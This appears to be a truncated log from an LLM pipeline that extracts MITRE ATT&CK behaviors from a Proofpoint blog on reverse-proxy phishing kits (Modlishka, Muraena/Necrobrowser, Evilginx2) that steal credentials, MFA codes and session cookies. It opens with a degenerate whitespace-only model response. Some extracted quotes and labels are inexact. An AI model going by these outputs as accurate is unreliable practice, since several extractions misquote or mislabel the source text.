\n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n", + "finish_reason": "length", + "usage": { + "prompt_tokens": 1629, + "completion_tokens": 4096, + "total_tokens": 5725 + } + }, + "outcome": "invalid_json_retried_with_smaller_request" + }, + { + "stage": "behavior_extract_0.0", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 8211.8, + "request_payload": { + "prompt": "You review a cyber threat report. Extract atomic technical behaviors that can map to MITRE ATT&CK Enterprise. Create a separate row for every distinct action. A compound sentence that says malware steals credentials, records the screen, and downloads another payload needs separate rows with the shortest exact source clause for each action. Include observed activity and stated malware or tool capabilities. Exclude sales, advertising, prices, possession claims, marketplace roles, and generic criminal activity unless the same clause states the technical action used against a system, account, network, or data. Use observed when the report says an attacker or malware performed the action. Use capability when a tool can perform it. Use background for historical adversary activity. Use defensive only for an action performed or recommended by a defender, such as blocking, patching, detection, or incident response. Malware evasion is adversary activity. Skip headings, image captions, predictions, and generic security prose. Copy one exact, self-contained quote for each behavior. Keep enough words to identify the actor, action, object, tool, and target when the report states them. Use an empty string for a missing event field. Return compact JSON on one line, with no indentation or whitespace outside string values. Return at most 12 behaviors from this chunk. Entity anchors are hints, not requirements.\n\nENTITY ANCHORS\n- network protocol: reverse proxy\n- credential: credentials\n- credential: session cookies\n- threat actor: phish kits\n- organization: MIT\n- authentication token: RSA tokens\n- organization: Duo\n- threat actor: phishing kits\n- software tool: Phishing kits\n- threat actor: threat actors\n- infrastructure: dedicated server\n- infrastructure: compromised server\n- organization: Proofpoint threat researchers\n\nREPORT CHUNK\nMFA PSA, Oh My!\nFebruary 03, 2022\n### Key Takeaways\n* As multi-factor authentication becomes a standard security practice, phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security.\n* Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time.\n* It is likely that more threat actors will turn to these MitM phish kits, making security increasingly difficult for defenders.\n### Overview\nSince the inclusion of the first password in the [Compatible Time-Sharing System](https://en.wikipedia.org/wiki/Password#History) at MIT in 1961, people have been cognizant of information security.\nWhile multi-factor authentication (MFA) did not enter the scene until years later in 1986 with the first RSA tokens, it has recently seen widespread adoption in the consumer space.\nAccording to MFA digital authenticator company Duo's annual [State of the Auth Report](https://duo.com/blog/the-2021-state-of-the-auth-report-2fa-climbs-password-managers-biometrics-trend) 78% of respondents have used two/multi-factor authentication (2FA/MFA) in 2021 compared to just 28% in 2017.\nWhile many companies like Duo and RSA have helped make MFA more ubiquitous and user-friendly, threat actors have not been resting on their laurels, choosing to target MFA as well as looking for ways to bypass MFA with evolving phishing kits.\n![Duo State of the Auth Report 2021 shows increase in MFA usage.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.17.28%20AM.png)\n*Figure 1. Duo State of the Auth Report 2021 shows increase in MFA usage.*\n### MFA Phishing Kit Evolution\nPhishing kits are software developed to aid threat actors in harvesting credentials and quickly capitalizing on them.\nOften installed on a dedicated server owned by the threat actor or covertly installed on a compromised server owned by an unlucky individual, many of these kits can be purchased for [less than a cup of coffee](/us/blog/threat-insight/have-money-latte-then-you-too-can-buy-phish-kit \"Have Money for a Latte.\nThen You Too Can Buy a Phish Kit\").\nProofpoint threat researchers see numerous", + "max_new_tokens": 4096, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "behaviors": { + "type": "array", + "items": { + "type": "object", + "properties": { + "quote": { + "type": "string" + }, + "summary": { + "type": "string" + }, + "actor": { + "type": "string" + }, + "action": { + "type": "string" + }, + "object": { + "type": "string" + }, + "tool": { + "type": "string" + }, + "target": { + "type": "string" + }, + "assertion": { + "type": "string", + "enum": [ + "observed", + "capability", + "background", + "defensive" + ] + } + }, + "required": [ + "quote", + "summary", + "actor", + "action", + "object", + "tool", + "target", + "assertion" + ], + "additionalProperties": false + }, + "maxItems": 12 + } + }, + "required": [ + "behaviors" + ], + "additionalProperties": false + }, + "label": "threat_behaviors", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"behaviors\":[{\"quote\":\"phish kits are evolving with the times to steal these tokens and bypass this trusted layer of security\",\"summary\":\"Phishing kits evolve to steal authentication tokens and bypass multi-factor authentication security layers\",\"actor\":\"phish kits\",\"action\":\"steal\",\"object\":\"tokens\",\"tool\":\"\",\"target\":\"trusted layer of security\",\"assertion\":\"capability\"},{\"quote\":\"Threat actors are using phish kits that leverage transparent reverse proxy, which enables them to man-in-the-middle (MitM) a browser session and steal credentials and session cookies in real-time\",\"summary\":\"Threat actors use phishing kits with transparent reverse proxies to perform man-in-the-middle attacks on browser sessions to steal credentials and session cookies in real time\",\"actor\":\"Threat actors\",\"action\":\"man-in-the-middle (MitM)\",\"object\":\"browser session\",\"tool\":\"phish kits that leverage transparent reverse proxy\",\"target\":\"credentials and session cookies\",\"assertion\":\"observed\"}]}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 922, + "completion_tokens": 200, + "total_tokens": 1122 + } + } + }, + { + "stage": "behavior_extract_0.1", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 17023.7, + "request_payload": { + "prompt": "You review a cyber threat report. Extract atomic technical behaviors that can map to MITRE ATT&CK Enterprise. Create a separate row for every distinct action. A compound sentence that says malware steals credentials, records the screen, and downloads another payload needs separate rows with the shortest exact source clause for each action. Include observed activity and stated malware or tool capabilities. Exclude sales, advertising, prices, possession claims, marketplace roles, and generic criminal activity unless the same clause states the technical action used against a system, account, network, or data. Use observed when the report says an attacker or malware performed the action. Use capability when a tool can perform it. Use background for historical adversary activity. Use defensive only for an action performed or recommended by a defender, such as blocking, patching, detection, or incident response. Malware evasion is adversary activity. Skip headings, image captions, predictions, and generic security prose. Copy one exact, self-contained quote for each behavior. Keep enough words to identify the actor, action, object, tool, and target when the report states them. Use an empty string for a missing event field. Return compact JSON on one line, with no indentation or whitespace outside string values. Return at most 12 behaviors from this chunk. Entity anchors are hints, not requirements.\n\nENTITY ANCHORS\n- software tool: open-source kits\n- credential: usernames\n- credential: passwords\n- authentication token: MFA tokens\n- credential: social security numbers\n- credential: credit card numbers\n- credential: credentials\n- network protocol: reverse proxy\n- credential: usernames\n- credential: passwords\n- credential: session cookie\n- network protocol: session cookie\n- network protocol: Transparent Reverse Proxy\n- threat actor: threat actor\n- credential: username\n- credential: password\n- authentication token: MFA token\n- threat actor: phish kits\n- threat actor: threat actors\n- organization: Proofpoint\n\nREPORT CHUNK\n MFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers.\nAt their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords.\n![Simple phishing kit utilizing an open directory ](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.05%20AM.png)\n*Figure 2. Simple phishing kit utilizing an open directory with credentials stored on the same webserver as the kit.*\nIn recent years, Proofpoint researchers have observed the emergence of a new type of kit that does not rely on recreating a target website.\nInstead, these kits use a [transparent reverse proxy](https://en.wikipedia.org/wiki/Reverse_proxy#:~:text=In%20computer%20networks%2C%20a%20reverse,mainly%20used%20to%20balance%20load. to present the actual website to the victim.\nModern web pages are dynamic and change frequently.\nTherefore, presenting the actual site instead of a facsimile greatly enhances the illusion an individual is logging in safely.\nAnother advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie.\n![MitM Transparent Reverse Proxy](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.29%20AM.png)\n*Figure 3. MitM Transparent Reverse Proxy.*\nThe session cookie (see Figure 4) can then be used by the threat actor to gain access to the targeted account without the need for a username, password, or MFA token.\n![Evilginx2 LinkedIn session cookie example](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.50%20AM.png)\n*Figure 4. Evilginx2 LinkedIn session cookie example.*\nProofpoint researchers have noted a small increase in the use of these phish kits and anticipate greater adoption by threat actors as MFA forces them to adapt.\nSpecifically, Proofpoint has noted three transparent reverse proxy kits emerging on the scene.\n### Reverse Prox", + "max_new_tokens": 4096, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "behaviors": { + "type": "array", + "items": { + "type": "object", + "properties": { + "quote": { + "type": "string" + }, + "summary": { + "type": "string" + }, + "actor": { + "type": "string" + }, + "action": { + "type": "string" + }, + "object": { + "type": "string" + }, + "tool": { + "type": "string" + }, + "target": { + "type": "string" + }, + "assertion": { + "type": "string", + "enum": [ + "observed", + "capability", + "background", + "defensive" + ] + } + }, + "required": [ + "quote", + "summary", + "actor", + "action", + "object", + "tool", + "target", + "assertion" + ], + "additionalProperties": false + }, + "maxItems": 12 + } + }, + "required": [ + "behaviors" + ], + "additionalProperties": false + }, + "label": "threat_behaviors", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"behaviors\":[{\"quote\":\"MFA phishing kits ranging from simple open-source kits with human readable code and no-frills functionality to sophisticated kits utilizing numerous layers of obfuscation and built-in modules that allow for stealing usernames, passwords, MFA tokens, social security numbers and credit card numbers.\",\"summary\":\"Phishing kits steal credentials including usernames, passwords, MFA tokens, SSNs, and credit card numbers\",\"actor\":\"phishing kits\",\"action\":\"steal\",\"object\":\"usernames, passwords, MFA tokens, social security numbers and credit card numbers\",\"tool\":\"open-source kits\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"At their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords.\",\"summary\":\"Kits harvest credentials using techniques similar to traditional kits\",\"actor\":\"kits\",\"action\":\"harvest\",\"object\":\"credentials\",\"tool\":\"\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"these kits use a transparent reverse proxy to present the actual website to the victim.\",\"summary\":\"Kits use transparent reverse proxy to present actual website\",\"actor\":\"kits\",\"action\":\"use\",\"object\":\"transparent reverse proxy\",\"tool\":\"\",\"target\":\"victim\",\"assertion\":\"capability\"},{\"quote\":\"Another advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie.\",\"summary\":\"Threat actor performs MitM to capture credentials and session cookies\",\"actor\":\"threat actor\",\"action\":\"capture\",\"object\":\"usernames and passwords... session cookie\",\"tool\":\"reverse proxy\",\"target\":\"session\",\"assertion\":\"observed\"},{\"quote\":\"The session cookie can then be used by the actor to gain access to the targeted account without the need for a username, password, or MFA token.\",\"summary\":\"Actor uses session cookie to access targeted account\",\"actor\":\"actor\",\"action\":\"gain access\",\"object\":\"targeted account\",\"tool\":\"session cookie\",\"target\":\"\",\"assertion\":\"capability\"}]\n\n}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 978, + "completion_tokens": 425, + "total_tokens": 1403 + } + } + }, + { + "stage": "behavior_extract_1", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 65191.7, + "request_payload": { + "prompt": "You review a cyber threat report. Extract atomic technical behaviors that can map to MITRE ATT&CK Enterprise. Create a separate row for every distinct action. A compound sentence that says malware steals credentials, records the screen, and downloads another payload needs separate rows with the shortest exact source clause for each action. Include observed activity and stated malware or tool capabilities. Exclude sales, advertising, prices, possession claims, marketplace roles, and generic criminal activity unless the same clause states the technical action used against a system, account, network, or data. Use observed when the report says an attacker or malware performed the action. Use capability when a tool can perform it. Use background for historical adversary activity. Use defensive only for an action performed or recommended by a defender, such as blocking, patching, detection, or incident response. Malware evasion is adversary activity. Skip headings, image captions, predictions, and generic security prose. Copy one exact, self-contained quote for each behavior. Keep enough words to identify the actor, action, object, tool, and target when the report states them. Use an empty string for a missing event field. Return compact JSON on one line, with no indentation or whitespace outside string values. Return at most 24 behaviors from this chunk. Entity anchors are hints, not requirements.\n\nENTITY ANCHORS\n- threat actor: phish kits\n- threat actor: threat actors\n- organization: Proofpoint\n- command or script: command line interface\n- credential: credentials\n- network protocol: traffic\n- software tool: Modlishka\n- cloud service: Duo\n- authentication token: authenticator\n- software tool: Modliska\n- software tool: GUI\n- software tool: Muraena/Necrobrowser\n- software tool: Muraena\n- infrastructure: server-side\n- software tool: crawler\n- software tool: Necrobrowser\n- network protocol: SSH\n- authentication token: SSH session keys\n- threat actor: red teams\n- software tool: Phishlets\n- infrastructure: server\n- network protocol: subdomain\n- authentication token: MFA codes\n- credential: session cookie\n- credential: password\n- software tool: Evilginx2\n- organization: Stony Brook University\n- organization: Palo Alto Networks\n- software tool: Phoca\n- credential: MitM credentials\n- network protocol: IP addresses\n- organization: Proofpoint\n\nREPORT CHUNK\n/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.19.50%20AM.png)\n*Figure 4. Evilginx2 LinkedIn session cookie example.*\nProofpoint researchers have noted a small increase in the use of these phish kits and anticipate greater adoption by threat actors as MFA forces them to adapt.\nSpecifically, Proofpoint has noted three transparent reverse proxy kits emerging on the scene.\n### Reverse Proxy Phish Kits\nModlishka: A Polish security researcher Piotr Duszyński developed Modliska and released it in December 2018 on github.com.\nThis relatively simple tool allows phishing one site at a time, sports a command line interface, and provides the threat actor with a handy GUI to retrieve the credentials and session information (see Figure 5).\nModlishka also integrates Let’s Encrypt so it can make the fake domain landing page just a bit more believable by encrypting the traffic and providing the little padlock in the web bar.\nWhile Modlishka may not be as advanced as the other two kits discussed later in this blog, it is still capable of harvesting a victim’s session even when tech like Duo’s push notification [authenticator is used](https://commons.lib.jmu.edu/cgi/viewcontent.cgi?article=1004&context=masters202029).\n![Modliska graphical user interface (GUI).](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.20.07%20AM.png)\n*Figure 5. Modliska graphical user interface (GUI).*\nMuraena/Necrobrowser: Muraena/Necrobrowser is a two-part tool for phishing session cookies, credentials, and much more.\nCreated in 2019 by Giuseppe Trotta and Michele Orrù, Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim.\nOnce the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser.\nNecrobrowser is a headless browser, which is a browser without a graphical user interface used for automation, that leverages the stolen session cookies to log into the target site and do things such as change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories.\nEvilginx2: Evilginx2 is an easy to use, transparent reverse proxy written in Golang by security researcher and developer Kuba Gretzky (Figure 6).\nThis is a popular tool for both red teams and threat actors as it is easy to setup and configure using its proprietary “phishlets.\nPhishlets are [yaml](https://en.wikipedia.org/wiki/YAML) configuration files the engine uses to configure the proxy to the target site.\nUtilizing these “phishlets,” you can configure the server to phish multiple brands at once.\nEvilginx2 allows you to configure a custom subdomain and landing page URL for each as well.\nThe kit comes with several pre-installed “phishlets,” but more can be created and added easily.\nOnce a victim clicks on the malicious link, they are taken to a secure page with assets being displayed exactly how they are on the target site.\nAfter they log in, the credentials, including MFA codes, and session cookie are sent to the server in real-time and the victim is either redirected to a different page or allowed to continue through to the page.\nThe threat actor is then able to use the stolen session cookie to log in as the victim where they can take multiple actions like changing the password, copying data, or pretending to be the victim.\n![Evilginx2 command line console](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.21.39%20AM.png)\n*Figure 6. Evilginx2 command line console.*\n### Outlook\nMost of these kits have been around for years so why the renewed interest.\nIn their [recent paper](https://catching-transparent-phish.github.io/catching_transparent_phish.pdf), researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot.\nThe researchers developed a machine learning tool called Phoca to scan suspected phishing pages and try to determine if they were using a transparent reverse proxy to MitM credentials.\nThey were able to identify over 1200 MitM phishing sites.\nOf those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal.\nIn addition to this, they found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days.\nAs recently as the end of January 2021, Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours.\n![MitM O365 page.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.22.38%20AM.png)\n*Figure 7. MitM O365 page.(domain redacted as without the full path it redirects to NSFW content)*\nIn Ma", + "max_new_tokens": 4096, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "behaviors": { + "type": "array", + "items": { + "type": "object", + "properties": { + "quote": { + "type": "string" + }, + "summary": { + "type": "string" + }, + "actor": { + "type": "string" + }, + "action": { + "type": "string" + }, + "object": { + "type": "string" + }, + "tool": { + "type": "string" + }, + "target": { + "type": "string" + }, + "assertion": { + "type": "string", + "enum": [ + "observed", + "capability", + "background", + "defensive" + ] + } + }, + "required": [ + "quote", + "summary", + "actor", + "action", + "object", + "tool", + "target", + "assertion" + ], + "additionalProperties": false + }, + "maxItems": 24 + } + }, + "required": [ + "behaviors" + ], + "additionalProperties": false + }, + "label": "threat_behaviors", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\n\n\"behaviors\":[{\"quote\":\"This relatively simple tool allows phishing one site at a time\",\"summary\":\"Modlishka phishes a single site\",\"actor\":\"Modlishka\",\"action\":\"phishing\",\"object\":\"\",\"tool\":\"Modlishka\",\"target\":\"one site\",\"assertion\":\"capability\"},{\"quote\":\"sports a command line interface\",\"summary\":\"Modlishka provides a command line interface\",\"actor\":\"Modlishka\",\"action\":\"provides\",\"object\":\"command line interface\",\"tool\":\"Modlishka\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"provides the threat actor with a handy GUI to retrieve the credentials and session information\",\"summary\":\"Modlishka retrieves credentials and session information via GUI\",\"actor\":\"threat actor\",\"action\":\"retrieve\",\"object\":\"credentials and session information\",\"tool\":\"Modlishka\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"integrates Let’s Encrypt so it can make the fake domain landing page just a bit more believable by encrypting the traffic\",\"summary\":\"Modlishka encrypts traffic using Let's Encrypt\",\"actor\":\"Modlishka\",\"action\":\"encrypting\",\"object\":\"traffic\",\"tool\":\"Modlishka\",\"target\":\"fake domain landing page\",\"assertion\":\"capability\"},{\"quote\":\"Muraena runs server-side and uses a crawler to scan the target site to ensure it can properly rewrite all the traffic needed to not alert the victim\",\"summary\":\"Muraena scans target site to rewrite traffic\",\"actor\":\"Muraena\",\"action\":\"scan\",\"object\":\"target site\",\"tool\":\"Muraena\",\"target\":\"target site\",\"assertion\":\"capability\"},{\"quote\":\"Once the victim's credentials and session cookie has been harvested by the threat actor, they can deploy Necrobrowser\",\"summary\":\"Threat actor deploys Necrobrowser after harvesting credentials\",\"actor\":\"threat actor\",\"action\":\"deploy\",\"object\":\"Necrobrowser\",\"tool\":\"Necrobrowser\",\"target\":\"\",\"assertion\":\"observed\"},{\"quote\":\"Necrobrowser is a headless browser... that leverages the stolen session cookies to log into the target site\",\"summary\":\"Necrobrowser logs into target site using stolen session cookies\",\"actor\":\"Necrobrowser\",\"action\":\"log into\",\"object\":\"target site\",\"tool\":\"Necrobrowser\",\"target\":\"target site\",\"assertion\":\"capability\"},{\"quote\":\"do things such as change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories\",\"summary\":\"Necrobrowser changes passwords, disables notifications, dumps emails, changes SSH keys, and downloads repositories\",\"actor\":\"Necrobrowser\",\"action\":\"change passwords, disable Google Workspace notifications, dump emails, change SSH session keys in GitHub, and download all code repositories\",\"object\":\"passwords, Google Workspace notifications, emails, SSH session keys in GitHub, code repositories\",\"tool\":\"Necrobrowser\",\"target\":\"target site\",\"assertion\":\"capability\"},{\"quote\":\"Evilginx2 is an easy to use, transparent reverse proxy written in Golang\",\"summary\":\"Evilginx2 acts as a transparent reverse proxy\",\"actor\":\"Evilginx2\",\"action\":\"acts as\",\"object\":\"transparent reverse proxy\",\"tool\":\"Evilginx2\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"Utilizing these “phishlets,” you can configure the server to phish multiple brands at once\",\"summary\":\"Evilginx2 configures server to phish multiple brands\",\"actor\":\"Evilginx2\",\"action\":\"configure\",\"object\":\"server\",\"tool\":\"Evilginx2\",\"target\":\"multiple brands\",\"assertion\":\"capability\"},{\"quote\":\"Evilginx2 allows you to configure a custom subdomain and landing page URL for each\",\"summary\":\"Evilginx2 configures custom subdomain and landing page URL\",\"actor\":\"Evilginx2\",\"action\":\"configure\",\"object\":\"custom subdomain and landing page URL\",\"tool\":\"Evilginx2\",\"target\":\"\",\"assertion\":\"capability\"},{\"quote\":\"After they log in, the credentials, including MFA codes, and session cookie are sent to the server in real-time\",\"summary\":\"Evilginx2 sends credentials, MFA codes, and session cookies to server\",\"actor\":\"Evilginx2\",\"action\":\"sent\",\"object\":\"credentials, including MFA codes, and session cookie\",\"tool\":\"Evilginx2\",\"target\":\"server\",\"assertion\":\"capability\"},{\"quote\":\"the victim is either redirected to a different page or allowed to continue through to the page\",\"summary\":\"Evilginx2 redirects victim to different page or allows continuation\",\"actor\":\"Evilginx2\",\"action\":\"redirected\",\"object\":\"victim\",\"tool\":\"Evilginx2\",\"target\":\"different page\",\"assertion\":\"capability\"},{\"quote\":\"The threat actor is then able to use the stolen session cookie to log in as the victim where they can take multiple actions like changing the password, copying data, or pretending to be the victim\",\"summary\":\"Threat actor uses stolen session cookie to log in as victim and perform actions\",\"actor\":\"threat actor\",\"action\":\"use\",\"object\":\"stolen session cookie\",\"tool\":\"Evilginx2\",\"target\":\"victim\",\"assertion\":\"observed\"},{\"quote\":\"researchers from Stony Brook University and Palo Alto Networks (Kondracki et al) took a deep dive into MitM phishing kits and discovered that MitM phishing pages represent an industry blind spot\",\"summary\":\"Researchers analyze MitM phishing kits\",\"actor\":\"researchers from Stony Brook University and Palo Alto Networks\",\"action\":\"analyze\",\"object\":\"MitM phishing kits\",\"tool\":\"\",\"target\":\"MitM phishing pages\",\"assertion\":\"background\"},{\"quote\":\"The researchers developed a machine learning tool called Phoca to scan suspected phishing pages and try to determine if they were using a transparent proxy to MitM credentials\",\"summary\":\"Phoca scans suspected phishing pages for transparent proxy MitM\",\"actor\":\"Phoca\",\"action\":\"scan\",\"object\":\"suspected phishing pages\",\"tool\":\"Phoca\",\"target\":\"transparent proxy to MitM credentials\",\"assertion\":\"background\"},{\"quote\":\"They were able to identify over 1200 MitM phishing sites\",\"summary\":\"Researchers identified over 1200 MitM phishing sites\",\"actor\":\"researchers\",\"action\":\"identify\",\"object\":\"over 1200 MitM phishing sites\",\"tool\":\"Phoca\",\"target\":\"\",\"assertion\":\"background\"},{\"quote\":\"Of those 1200+ sites only 43.7% of domains and 18.9% of IP addresses appeared on popular blocklists like VirusTotal\",\"summary\":\"Researchers found low percentage of MitM sites on blocklists\",\"actor\":\"researchers\",\"action\":\"found\",\"object\":\"low percentage of MitM sites on blocklists\",\"tool\":\"Phoca\",\"target\":\"VirusTotal\",\"assertion\":\"background\"},{\"quote\":\"they found that standard phishing sites had a lifespan of just under 24 hours whereas MitM phishing sites lasted longer, and 15% had a lifespan greater than 20 days\",\"summary\":\"Researchers found MitM phishing sites have longer lifespan\",\"actor\":\"researchers\",\"action\":\"found\",\"object\":\"MitM phishing sites have longer lifespan\",\"tool\":\"Phoca\",\"target\":\"\",\"assertion\":\"background\"},{\"quote\":\"Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours\",\"summary\":\"Proofpoint identified active MitM reverse proxy site\",\"actor\":\"Proofpoint researchers\",\"action\":\"identified\",\"object\":\"MitM reverse proxy site\",\"tool\":\"\",\"target\":\"\",\"assertion\":\"observed\"}]}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 1741, + "completion_tokens": 1618, + "total_tokens": 3359 + } + } + }, + { + "stage": "behavior_extract_2", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 421.9, + "request_payload": { + "prompt": "You review a cyber threat report. Extract atomic technical behaviors that can map to MITRE ATT&CK Enterprise. Create a separate row for every distinct action. A compound sentence that says malware steals credentials, records the screen, and downloads another payload needs separate rows with the shortest exact source clause for each action. Include observed activity and stated malware or tool capabilities. Exclude sales, advertising, prices, possession claims, marketplace roles, and generic criminal activity unless the same clause states the technical action used against a system, account, network, or data. Use observed when the report says an attacker or malware performed the action. Use capability when a tool can perform it. Use background for historical adversary activity. Use defensive only for an action performed or recommended by a defender, such as blocking, patching, detection, or incident response. Malware evasion is adversary activity. Skip headings, image captions, predictions, and generic security prose. Copy one exact, self-contained quote for each behavior. Keep enough words to identify the actor, action, object, tool, and target when the report states them. Use an empty string for a missing event field. Return compact JSON on one line, with no indentation or whitespace outside string values. Return at most 24 behaviors from this chunk. Entity anchors are hints, not requirements.\n\nENTITY ANCHORS\n- organization: Proofpoint\n- cloud service: Google account\n- organization: Google\n- vulnerability: pandemic\n- threat actor: threat actors\n\nREPORT CHUNK\ner, and 15% had a lifespan greater than 20 days.\nAs recently as the end of January 2021, Proofpoint researchers identified a MitM reverse proxy site that was active for more than 72 hours.\n![MitM O365 page.](/sites/default/files/inline-images/Screen%20Shot%202022-02-01%20at%2011.22.38%20AM.png)\n*Figure 7. MitM O365 page.(domain redacted as without the full path it redirects to NSFW content)*\nIn May 2021, Google discussed in a [blog post](https://blog.google/technology/safety-security/a-simpler-and-safer-future-without-passwords/) that they would soon start to require MFA when logging into a Google account sometime in late 2021 or early 2022 (it would still be optional for Google Workspace customers).\nWe are now in 2022, the pandemic still rages, many workers are still working from home, and many may not return to the office.\nAs more companies follow Google’s lead and start requiring MFA, threat actors will rapidly move to solutions like these MitM kits.\nThey are easy to deploy, free to use, and have proven effective at evading detection.\nThe industry needs to prepare to deal with blind spots like these before they can evolve in new unexpected directions.", + "max_new_tokens": 4096, + "temperature": 0, + "grammar": { + "json_schema": { + "type": "object", + "properties": { + "behaviors": { + "type": "array", + "items": { + "type": "object", + "properties": { + "quote": { + "type": "string" + }, + "summary": { + "type": "string" + }, + "actor": { + "type": "string" + }, + "action": { + "type": "string" + }, + "object": { + "type": "string" + }, + "tool": { + "type": "string" + }, + "target": { + "type": "string" + }, + "assertion": { + "type": "string", + "enum": [ + "observed", + "capability", + "background", + "defensive" + ] + } + }, + "required": [ + "quote", + "summary", + "actor", + "action", + "object", + "tool", + "target", + "assertion" + ], + "additionalProperties": false + }, + "maxItems": 24 + } + }, + "required": [ + "behaviors" + ], + "additionalProperties": false + }, + "label": "threat_behaviors", + "strict": true + } + }, + "raw_response": { + "model": "Qwen/Qwen3.6-27B:no-spec", + "text": "{\"behaviors\":[]}", + "finish_reason": "stop", + "usage": { + "prompt_tokens": 627, + "completion_tokens": 6, + "total_tokens": 633 + } + } + }, + { + "stage": "catalog_encode_0", + "function": "encode", + "requested_model": "Qwen/Qwen3-Embedding-8B", + "runtime_model": "Qwen/Qwen3-Embedding-8B", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 5541.3 + }, + { + "stage": 